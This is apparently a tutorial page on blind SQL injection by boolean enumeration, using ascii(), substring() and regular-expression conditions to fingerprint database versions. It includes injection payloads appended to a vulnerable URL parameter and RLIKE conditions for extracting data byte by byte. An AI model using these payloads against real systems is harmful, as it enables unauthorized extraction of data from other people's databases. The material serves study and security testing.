SQL injection/Blind/Response-based boolean enumeration
Contents
Response-based boolean enumeration
Boolean enumeration is the process of using conditional statements (true and false, just like the testing methodology) to determine the value of a byte.
Therefore, logic dictates that,
|
BETWEEN ... AND ... | Operator = < > | Operators substring() | Function ascii() | Function This assists with crafting uniform queries that affect ALL sql dialects. |
In order to ensure that data integrity is maintained:
|
Using Ascii codes and the ascii() function for enumeration
The ascii() function on any given database engine will return the ascii code for the the character passed to it. If it is passed an entire string, it will return the ascii code for the first character. For example:
SELECT ascii('a'); +------------+ | ascii('a') | +------------+ | 97 | +------------+ 1 ROW IN SET (0.00 sec) |
substring()
Using substring() to select a single byte:
- The substring() syntax is:
SUBSTRING([STRING],[POSITION],[LEN]) |
- To select the first character of a string, for example:
SELECT SUBSTRING('abc',1,1); +----------------------+ | SUBSTRING('abc',1,1) | +----------------------+ | a | +----------------------+ 1 ROW IN SET (0.00 sec) |
- To select the second character:
SELECT SUBSTRING('abc',2,1); +----------------------+ | SUBSTRING('abc',2,1) | +----------------------+ | b | +----------------------+ 1 ROW IN SET (0.01 sec) |
Version fingerprinting with ascii-based enumeration
While boolean enumeration can be used to obtain any type of data, version fingerprinting will be used as the example.
In theory
For the examples, version() function will be used.
- The ascii code of the first character of the version string can be accessed by calling:
ascii(substring(lower(version()),1,1))
- On PostgreSQL, the first character of version() is 'P'. Since converting it to lowercase, the ascii value of 'p' is 112.
postgres=# SELECT ascii(SUBSTRING(LOWER(version()),1,1)); ascii ------- 112 (1 ROW) |
- On MySQL, the first character of version() is numeric. On the local example, the first character is '5'.
mysql> SELECT ascii(SUBSTRING(LOWER(version()),1,1)); +----------------------------------------+ | ascii(SUBSTRING(LOWER(version()),1,1)) | +----------------------------------------+ | 53 | +----------------------------------------+ 1 ROW IN SET (0.00 sec) |
In Practice
These queries work on MS SQL as well, an MS SQL server was not available during the writing of this article for demonstration. The same syntax, except using the @@version environment variable applies.
/vulnerable.ext?id=1 and ascii(substring(lower(version()),1,1)) between 0 and 127 /vulnerable.ext?id=1 and ascii(substring(lower(version()),1,1)) between 128 and 255
|
Using Regular Expressions for Boolean enumeration
Regular expressions are by far the best solution to filtering and sanitizing.
|
Getting started with regular expressions
Regexp allows comparative analysis of a single byte from a string with a list, similar to between ... and ... injection.
Patterns:
^ The beginning of a string $ End of a string . Any character * 0 or more of the preceeding character + 1 or more of the preceeding character ? 0 or 1 of the preceeding character Protip: To see if a string starts with a particular letter (using the letter z for the example), the regular expression pattern '^z' can be used. This will ONLY match if the first character of the string is a 'z'.
Ranges and lists:
Pattern | Description [a-z] | Matches only letters a through z [0-9] | Matches only numbers [aeiouy] | Matches vowels. ^a[0-9] | Matches if the first character of the string is `a', only if the second character of the string is a number. |
Version fingerprinting using compatible regular expressions
MS SQL and MySQL now both have the RLIKE regular expression operator.
AND version() RLIKE '^[0-4]' -- This will match if the first character of the version is between 0 and 4 AND version() RLIKE '^[5-9]' -- This will match if the first character of the version is between 5 and 9
AND LOWER(version()) ~ '^[a-z]' -- Should ALWAYS return true AND UPPER(version()) ~ '^[a-z]' -- Should NEVER return true |
- Adjust the ranges to hone in on the value of the byte.